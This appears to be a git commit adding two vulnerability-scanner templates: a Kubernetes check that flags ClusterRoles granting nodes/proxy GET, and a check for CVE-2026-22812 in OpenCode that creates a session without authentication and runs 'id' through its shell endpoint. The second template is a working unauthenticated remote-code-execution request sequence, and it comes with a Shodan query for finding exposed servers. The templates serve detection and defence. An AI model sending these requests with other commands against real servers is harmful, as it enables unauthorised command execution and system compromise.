ClusterRoles with Risky nodes/proxy GET Permission + OpenCode < 1.0.216 - Unauth RCE

This commit is contained in:
Prince Chaddha
2026-01-28 01:01:04 +07:00
parent 300373c13e
commit 68a0ad0c8f
2 changed files with 143 additions and 0 deletions

View File

@@ -0,0 +1,69 @@
id: k8s-clusterrole-nodes-proxy-rce
info:
name: ClusterRoles with Risky nodes/proxy GET Permission
author: princechaddha
severity: high
description: |
Detects Kubernetes ClusterRoles that grant GET permission on nodes/proxy resource.
Due to an authorization inconsistency in Kubelet, the nodes/proxy GET permission allows
execution of commands in any container via WebSocket connections to the Kubelet API.
The Kubelet authorizes based on the initial HTTP GET method of WebSocket handshake
rather than the actual operation (exec/run/attach) which should require CREATE permission.
impact: |
Service accounts with nodes/proxy GET permission can potentially execute commands in any
container if they have network access to the Kubelet API (port 10250). This bypasses
expected RBAC controls and audit logging.
remediation: |
Remove nodes/proxy GET permissions from ClusterRoles unless absolutely necessary.
Restrict network access to Kubelet port 10250 and implement network policies.
reference:
- https://grahamhelton.com/blog/nodes-proxy-rce
tags: cloud,devops,kubernetes,devsecops,rbac,k8s,k8s-cluster-security
flow: |
code(1);
for (let role of template.items) {
set("role", role)
javascript(1);
}
self-contained: true
code:
- engine:
- sh
- bash
source: kubectl get clusterrole --output=json
extractors:
- type: json
name: items
internal: true
json:
- '.items[]'
javascript:
- code: |
let role = JSON.parse(template.role);
let riskyRules = 0;
if (role.rules) {
role.rules.forEach(rule => {
let apiGroups = rule.apiGroups || [];
let resources = rule.resources || [];
let verbs = rule.verbs || [];
let isCoreApiGroup = apiGroups.includes("") || apiGroups.includes("*");
let hasNodesProxy = resources.includes("nodes/proxy") || resources.includes("*");
let hasGetVerb = verbs.includes("get") || verbs.includes("*");
if (isCoreApiGroup && hasNodesProxy && hasGetVerb) {
riskyRules++;
}
});
}
if (riskyRules > 0) {
let result = (`ClusterRole '${role.metadata.name}' has ${riskyRules} rule(s) granting 'nodes/proxy' GET permission in core API group, allowing potential RCE via Kubelet.`);
Export(result);
}
extractors:
- type: dsl
dsl:
- response

View File

@@ -0,0 +1,74 @@
id: CVE-2026-22812
info:
name: OpenCode < 1.0.216 - Unauthenticated Remote Code Execution
author: princechaddha
severity: high
description: |
OpenCode versions prior to 1.0.216 contain an unauthenticated remote code execution vulnerability. The application exposes session and shell execution endpoints without proper authentication, allowing remote attackers to create sessions and execute arbitrary shell commands on the underlying server.
impact: |
Unauthenticated attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
remediation: |
Upgrade OpenCode to version 1.0.216 or later.
reference:
- https://github.com/rohmatariow/CVE-2026-22812-exploit
- https://nvd.nist.gov/vuln/detail/CVE-2026-22812
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-22812
cwe-id: CWE-306
metadata:
verified: true
max-request: 2
vendor: opencode
product: opencode
shodan-query: http.html:"opencode"
tags: cve,cve2026,opencode,rce,unauth
flow: http(1) && http(2)
http:
- raw:
- |
POST /session HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
extractors:
- type: json
name: session_id
json:
- '.id'
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "id")'
condition: and
internal: true
- raw:
- |
POST /session/{{session_id}}/shell HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"agent":"build","command":"id"}
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 201 || status_code == 202'
- 'regex("uid=\\d+\\([^)]+\\) gid=\\d+\\([^)]+\\)", body)'
condition: and
extractors:
- type: regex
regex:
- 'uid=\d+\([^)]+\) gid=\d+\([^)]+\)'